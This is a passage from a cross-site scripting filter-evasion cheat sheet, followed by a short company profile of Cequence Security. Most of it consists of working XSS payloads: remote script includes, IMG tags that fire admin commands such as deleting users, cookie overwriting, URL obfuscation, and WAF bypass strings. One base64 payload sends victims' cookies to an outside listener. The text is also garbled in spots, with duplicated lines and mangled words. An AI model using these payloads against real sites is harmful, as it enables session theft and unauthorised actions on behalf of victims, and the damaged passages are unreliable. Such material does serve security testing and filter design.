ocks/xss.js></SCRIPT>'"-->

PHP
Requires PHP to be installed on the server to use
this XSS vector. Again, if you can run any scripts
remotely like this, there are probably much more dire
issues:

<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>

IMG Embedded Commands

This works when the webpage where this is injected
(like a web-board) is behind password protection
and that password protection works with other
commands on the same domain. This can be used
to delete users, add users (if the user who visits the
page is an administrator), send credentials
elsewhere, etc…. This is one of the lesser used but
more useful XSS vectors:

<IMG SRC="http://www.thesiteyouareon.com/s
omecommand.php?
somevariables=maliciouscode">

IMG Embedded Commands part II

This is more scary because there are absolutely no
identifiers that make it look suspicious other than it is
not hosted on your own domain. The vector uses a
302 or 304 (others work too) to redirect the image
back to a command. So a normal <IMG
SRC="httx://badguy.com/a.jpg"> could actually
be an attack vector to run commands as the user
be an attack vector to run commands as the user
who views the image link. Here is the .htaccess
(under Apache) line to accomplish the vector (thanks
to Timo for part of this):

Redirect 302 /a.jpg http://victimsite.com/

admin.asp&deleteuser

Cookie Manipulation
Admittedly this is pretty obscure but I have seen a
few examples where <META is allowed and you can
use it to overwrite cookies. There are other
examples of sites where instead of fetching the
username from a database it is stored inside of a
cookie to be displayed only to the user who visits the
page. With these two scenarios combined you can
modify the victim’s cookie which will be displayed
back to them as JavaScript (you can also use this to
log people out or change their user states, get them
to log in as you, etc…):

<META HTTP-EQUIV="Set-
Cookie" Content="USERID=
<SCRIPT>alert('XSS')</SCRIPT>">

UTF-7 Encoding
If the page that the XSS resides on doesn’t provide
a page charset header, or any browser that is set to
UTF-7 encoding can be exploited with the following
(Thanks to Roman Ivanov for this one). Click here
for an example (you don’t need the charset
statement if the user’s browser is set to auto-detect
and there is no overriding content-types on the page
in Internet Explorer and Netscape 8.1 in IE rendering
engine mode). This does not work in any modern
browser without changing the encoding type which is
why it is marked as completely unsupported.
Watchfire found this hole in Google’s custom 404
script.:
<HEAD><META HTTP-EQUIV="CONTENT-
TYPE" CONTENT="text/html; charset=UTF-
7"> </HEAD>+ADw-SCRIPT+AD4-
alert('XSS');+ADw-/SCRIPT+AD4-

XSS Using HTML Quote

Encapsulation
This was tested in IE, your mileage may vary. For
performing XSS on sites that allow <SCRIPT> but
don’t allow <SCRIPT SRC... by way of a regex filter
/\<script\[^\>\]+src/i:
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js
"></SCRIPT>
For performing XSS on sites that allow <SCRIPT>
but don’t allow \<script src... by way of a regex
filter /\<script((\\s+\\w+(\\s\*=\\s\*(?:"
(.)\*?"|'(.)\*?'|\
[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i (this is an
important one, because I’ve seen this regex in the
wild):

<SCRIPT =">" SRC="httx://xss.rocks/xss.js"

></SCRIPT>

Another XSS to evade the same filter, /\

<script((\\s+\\w+(\\s\*=\\s\*(?:"
(.)\*?"|'(.)\*?'|\
[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i:

<SCRIPT a=">" '' SRC="httx://xss.rocks/xss

.js"></SCRIPT>

Yet another XSS to evade the same filter, /\

<script((\\s+\\w+(\\s\*=\\s\*(?:"
(.)\*?"|'(.)\*?'|\
[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i. I know I
said I wasn’t goint to discuss mitigation techniques
but the only thing I’ve seen work for this XSS
f
example if you still want to allow <SCRIPT> tags but
not remote script is a state machine (and of course
there are other ways to get around this if they allow
<SCRIPT> tags):
<SCRIPT "a='>'" SRC="httx://xss.rocks/xss.
js"></SCRIPT>
And one last XSS attack to evade, /\
<script((\\s+\\w+(\\s\*=\\s\*(?:"
(.)\*?"|'(.)\*?'|\
[^'"\>\\s\]+))?)+\\s\*|\\s\*)src/i using
grave accents (again, doesn’t work in Firefox):

<SCRIPT a=> SRC="httx://xss.rocks/xss.js">

</SCRIPT>

Here’s an XSS example that bets on the fact that the

regex won’t catch a matching pair of quotes but will
rather find any quotes to terminate a parameter
string improperly:

<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.

js"></SCRIPT>

This XSS still worries me, as it would be nearly

impossible to stop this without blocking all active
content:
<SCRIPT>document.write("<SCRI");
</SCRIPT>PT SRC="httx://xss.rocks/xss.js">
</SCRIPT>

URL String Evasion

Assuming http://www.google.com/ is
programmatically disallowed:

IP Versus Hostname
<A HREF="http://66.102.7.147/">XSS</A>

URL Encoding
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6
C%65%2E%63%6F%6D">XSS</A>

DWORD Encoding
 g
Note: there are other of variations of Dword
encoding - see the IP Obfuscation calculator below
for more details:

<A HREF="http://1113982867/">XSS</A>

Hex Encoding
The total size of each number allowed is somewhere
in the neighborhood of 240 total characters as you
can see on the second digit, and since the hex
number is between 0 and F the leading zero on the
third hex quotet is not required):

<A HREF="http://0x42.0x0000066.0x7.0x93/">
XSS</A>

Octal Encoding
Again padding is allowed, although you must keep it
above 4 total characters per class - as in class A,
class B, etc…:

<A HREF="http://0102.0146.0007.00000223/">
XSS</A>

Base64 Encoding
<img onload="eval(atob('ZG9jdW1lbnQubG9jYX
Rpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N1bWVu
dC5jb29raWU='))">

Mixed Encoding
Let’s mix and match base encoding and throw in
some tabs and newlines - why browsers allow this,
I’ll never know). The tabs and newlines only work if
this is encapsulated with quotes:

<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>

Protocol Resolution Bypass

// translates to http:// which saves a few more
bytes. This is really handy when space is an issue
too (two less characters can go a long way) and can
too (two less characters can go a long way) and can
easily bypass regex like (ht|f)tp(s)?:// (thanks
to Ozh for part of this one). You can also change the
// to \\\\. You do need to keep the slashes in
place, however, otherwise this will be interpreted as
a relative path URL.

<A HREF="//www.google.com/">XSS</A>

Google “feeling lucky” part 1.

Firefox uses Google’s “feeling lucky” function to
redirect the user to any keywords you type in. So if
your exploitable page is the top for some random
keyword (as you see here) you can use that feature
against any Firefox user. This uses Firefox’s
keyword: protocol. You can concatenate several
keywords by using something like the following
keyword:XSS+RSnake for instance. This no longer
works within Firefox as of 2.0.

<A HREF="//google">XSS</A>

Google “feeling lucky” part 2.

This uses a very tiny trick that appears to work
Firefox only, because of it’s implementation of the
“feeling lucky” function. Unlike the next one this does
not work in Opera because Opera believes that this
is the old HTTP Basic Auth phishing attack, which it
is not. It’s simply a malformed URL. If you click okay
on the dialogue it will work, but as a result of the
erroneous dialogue box I am saying that this is not
supported in Opera, and it is no longer supported in
Firefox as of 2.0:

<A HREF="http://ha.ckers.org@google">XSS</
A>

Google “feeling lucky” part 3.

This uses a malformed URL that appears to work in
Firefox and Opera only, because if their
implementation of the “feeling lucky” function. Like
all of the above it requires that you are #1 in Google
a o t e abo e t equ es t at you a e # Goog e
for the keyword in question (in this case “google”):

<A HREF="http://google:ha.ckers.org">XSS</
A>

Removing CNAMEs

When combined with the above URL, removing www.

will save an additional 4 bytes for a total byte
savings of 9 for servers that have this set up
properly):

<A HREF="http://google.com/">XSS</A>

Extra dot for absolute DNS:

<A HREF="http://www.google.com./">XSS</A>

JavaScript Link Location:

<A HREF="javascript:document.location='htt
p://www.google.com/'">XSS</A>

Content Replace as Attack Vector

Assuming http://www.google.com/ is
programmatically replaced with nothing). I actually
used a similar attack vector against a several
separate real world XSS filters by using the
conversion filter itself (here is an example) to help
create the attack vector (IE: java&\#x09;script:
was converted into java script:, which
renders in IE, Netscape 8.1+ in secure site mode
and Opera):
<A HREF="http://www.google.com/ogle.com/">
XSS</A>

Assisting XSS with HTTP

Parameter Pollution
Assume a content sharing flow on a web site is
implemented as below. There is a “Content” page
which includes some content provided by users and
this page also includes a link to “Share” page which
enables a user choose their favorite social sharing
platform to share it on. Developers HTML encoded
the “title” parameter in the “Content” page to prevent
against XSS but for some reasons they didn’t URL
encoded this parameter to prevent from HTTP
Parameter Pollution. Finally they decide that since

content_type’s value is a constant and will always be

integer, they didn’t encode or validate the
content_type in the “Share” page.

Content Page Source Code

a href="/Share?content_type=1&title=
<%=Encode.forHtmlAttribute(untrusted
content title)%>">Share</a>

Share Page Source Code

<script>
var contentType =
<%=Request.getParameter("content_type")%>;
var title = "
<%=Encode.forJavaScript(request.getParameter("
title"))%>";
...
//some user agreement and sending to server
logic might be here
...
</script>

Content Page Output

In this case if attacker set untrusted content title as
“This is a regular title&content_type=1;alert(1)” the
link in “Content” page would be this:

<a href="/share?content_type=1&title=This
is a regular
title&amp;content_type=1;alert(1)">Share</
a>

Share Page Output

And in share page output could be this:
 <script>
var contentType = 1; alert(1);
var title = "This is a regular title";
…
//some user agreement and sending to server
logic might be here

…
</script>

As a result, in this example the main flaw is trusting

the content_type in the “Share” page without proper
encoding or validation. HTTP Parameter Pollution
could increase impact of the XSS flaw by promoting
it from a reflected XSS to a stored XSS.

Character Escape Sequences

All the possible combinations of the character “<” in
HTML and JavaScript. Most of these won’t render
out of the box, but many of them can get rendered in
certain circumstances as seen above.

<
%3C
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#60;
&#060;
&#0060;
&#00060;
&#000060;
&#0000060;
 ;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
 &#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;

&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C

Methods to Bypass WAF –

Cross-Site Scripting
General issues
Stored XSS
If an attacker managed to push XSS through the
filter, WAF wouldn’t be able to prevent the attack
conduction.

Reflected XSS in Javascript

Example: <script> ...

setTimeout(\\"writetitle()\\",$\_GET\[xss\])
... </script>
Exploitation: /?
xss=500); alert(document.cookie);//

DOM-based XSS

Example: <script> ... eval($\_GET\[xss\]); ...

</script>
Exploitation: /?xss=document.cookie
XSS via request Redirection

Vulnerable code:

...
header('Location: '.$_GET['param']);

...

As well as:

..
header('Refresh: 0; URL='.$_GET['param']);
...

This request will not pass through the WAF:

/?param=
<javascript:alert(document.cookie>)

This request will pass through the WAF and an

XSS attack will be conducted in certain
browsers.

/?param=
<data:text/html;base64,PHNjcmlwdD5hbGVydCg
nWFNTJyk8L3NjcmlwdD4=

WAF ByPass Strings for XSS.

<Img src = x onerror = "javascript:
window.onerror = alert; throw XSS">
<Video> <source onerror = "javascript:
alert (XSS)">
<Input value = "XSS" type = text>
<applet
code="javascript:confirm(document.cook
ie);">
<isindex x="javascript:"
onmouseover="alert(XSS)">
"></SCRIPT>”>’>
<SCRIPT>alert(String.fromCharCode(88,8
3,83))</SCRIPT>
"><img src="x:x" onerror="alert(XSS)">
"><iframe src="javascript:alert(XSS)">
<object data="javascript:alert(XSS)">

<isindex type=image src=1

onerror=alert(XSS)>
<img src=x:alert(alt)
onerror=eval(src) alt=0>
<img src="x:gif"
onerror="window['al\u0065rt'](0)">
</img>
<iframe/src="data:text/html,<svg
onload=alert(1)>">
<meta content="&NewLine; 1 &NewLine;;
JAVASCRIPT&colon; alert(1)" http-
equiv="refresh"/>
<svg><script
xlink:href=data&colon;,window.open('ht
tps://www.google.com/')></script
<meta http-equiv="refresh"
content="0;url=javascript:confirm(1)">
<iframe
src=javascript&colon;alert&lpar;docume
nt&period;location&rpar;>
<form><a
href="javascript:\u0061lert(1)">X
</script>
<img/*%00/src="worksinchrome&colon;pro
mpt(1)"/%00*/onerror='eval(src)'>
<style>//*
{x:expression(alert(/xss/))}//<style>
</style>
On Mouse Over
<img src="/" =_="
title="onerror='prompt(1)'">
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa
 aaaaaaaa aaaaaaaaa aaaaaaaaaa
href=j&#97v&#97script:&#97lert(1)>Clic
kMe
<script x> alert(1) </script 1=2
<form><button
formaction=javascript&colon;alert(1)>C

LICKME
<input/onmouseover="javaSCRIPT&colon;c
onfirm&lpar;1&rpar;"
<iframe
src="data:text/html,%3C%73%63%72%69%70
%74%3E%61%6C%65%72%74%28%31%29%3C%2F%7
3%63%72%69%70%74%3E"></iframe>
<OBJECT CLASSID="clsid:333C7BC4-460F-
11D0-BC04-0080C7055A83"><PARAM
NAME="DataURL"
VALUE="javascript:alert(1)"></OBJECT>

Filter Bypass Alert Obfuscation

(alert)(1)
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)
alert?.()

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Spotlight: Cequence Security

Cequence Security is a venture backed cybersecurity software company founded in 2015 and
Cequence Security is a venture-backed cybersecurity software company founded in 2015 and
based in Sunnyvale, CA. Its mission is to transform application security by consolidating
multiple innovative security functions within an open, AI-powered software platform that
protects customers web, mobile, and API-based applications – and supports today’s cloud-
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that previously held leadership positions at Palo Alto Networks and Symantec. Customers
include F500 organizations across multiple vertical markets, and the solution has earned
multiple industry accolades.

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